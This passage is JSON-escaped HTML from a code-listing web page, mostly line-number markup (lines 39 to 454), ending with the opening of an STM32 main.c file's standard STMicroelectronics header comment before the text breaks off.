class=\"lnt\"\u003e 39\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 40\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 41\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 42\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 43\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 44\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 45\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 46\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 47\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 48\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 49\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 50\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 51\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 52\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 53\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 54\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 55\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 56\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 57\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 58\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 59\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 60\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 61\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 62\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 63\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 64\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 65\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 66\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 67\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 68\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 69\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 70\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 71\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 72\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 73\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 74\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 75\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 76\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 77\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 78\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 79\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 80\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 81\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 82\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 83\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 84\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 85\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 86\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 87\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 88\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 89\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 90\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 91\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 92\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 93\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 94\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 95\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 96\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 97\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 98\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 99\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e100\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e101\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e102\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e103\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e104\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e105\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e106\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e107\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e108\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e109\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e110\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e111\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e112\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e113\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e114\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e115\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e116\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e117\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e118\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e119\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e120\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e121\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e122\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e123\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e124\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e125\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e126\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e127\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e128\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e129\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e130\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e131\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e132\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e133\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e134\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e135\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e136\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e137\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e138\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e139\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e140\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e141\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e142\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e143\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e144\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e145\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e146\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e147\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e148\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e149\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e150\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e151\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e152\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e153\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e154\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e155\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e156\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e157\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e158\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e159\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e160\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e161\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e162\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e163\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e164\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e165\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e166\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e167\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e168\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e169\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e170\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e171\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e172\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e173\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e174\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e175\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e176\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e177\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e178\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e179\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e180\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e181\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e182\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e183\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e184\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e185\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e186\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e187\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e188\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e189\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e190\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e191\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e192\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e193\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e194\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e195\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e196\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e197\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e198\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e199\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e200\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e201\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e202\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e203\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e204\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e205\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e206\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e207\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e208\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e209\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e210\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e211\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e212\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e213\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e214\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e215\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e216\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e217\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e218\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e219\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e220\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e221\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e222\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e223\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e224\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e225\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e226\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e227\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e228\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e229\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e230\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e231\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e232\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e233\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e234\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e235\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e236\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e237\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e238\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e239\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e240\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e241\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e242\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e243\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e244\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e245\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e246\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e247\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e248\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e249\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e250\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e251\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e252\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e253\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e254\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e255\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e256\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e257\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e258\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e259\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e260\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e261\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e262\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e263\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e264\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e265\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e266\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e267\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e268\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e269\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e270\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e271\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e272\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e273\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e274\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e275\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e276\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e277\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e278\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e279\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e280\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e281\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e282\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e283\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e284\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e285\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e286\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e287\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e288\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e289\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e290\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e291\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e292\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e293\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e294\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e295\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e296\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e297\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e298\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e299\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e300\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e301\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e302\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e303\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e304\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e305\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e306\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e307\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e308\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e309\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e310\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e311\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e312\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e313\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e314\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e315\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e316\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e317\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e318\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e319\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e320\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e321\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e322\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e323\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e324\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e325\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e326\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e327\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e328\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e329\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e330\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e331\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e332\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e333\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e334\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e335\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e336\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e337\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e338\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e339\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e340\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e341\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e342\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e343\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e344\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e345\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e346\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e347\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e348\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e349\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e350\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e351\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e352\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e353\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e354\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e355\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e356\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e357\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e358\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e359\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e360\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e361\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e362\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e363\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e364\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e365\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e366\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e367\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e368\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e369\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e370\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e371\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e372\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e373\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e374\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e375\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e376\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e377\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e378\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e379\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e380\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e381\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e382\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e383\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e384\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e385\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e386\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e387\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e388\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e389\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e390\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e391\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e392\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e393\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e394\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e395\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e396\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e397\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e398\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e399\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e400\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e401\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e402\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e403\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e404\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e405\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e406\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e407\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e408\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e409\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e410\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e411\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e412\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e413\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e414\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e415\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e416\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e417\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e418\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e419\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e420\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e421\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e422\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e423\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e424\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e425\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e426\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e427\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e428\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e429\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e430\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e431\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e432\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e433\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e434\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e435\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e436\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e437\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e438\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e439\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e440\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e441\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e442\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e443\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e444\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e445\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e446\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e447\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e448\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e449\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e450\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e451\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e452\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e453\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e454\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* USER CODE BEGIN Header */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/**\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e ******************************************************************************\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @file : main.c\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @brief : Main program body\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e ******************************************************************************\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @attention\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e *\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * Copyright (c) 2023 STMicroelectronics.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * All rights reserved.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e *\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * This software is licensed under terms that can be found in the LICENSE file\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * in the root directory of this software component.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * If no LICENSE file comes with this software, it is provided AS-IS.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e *\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e ******************************************************************************\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan 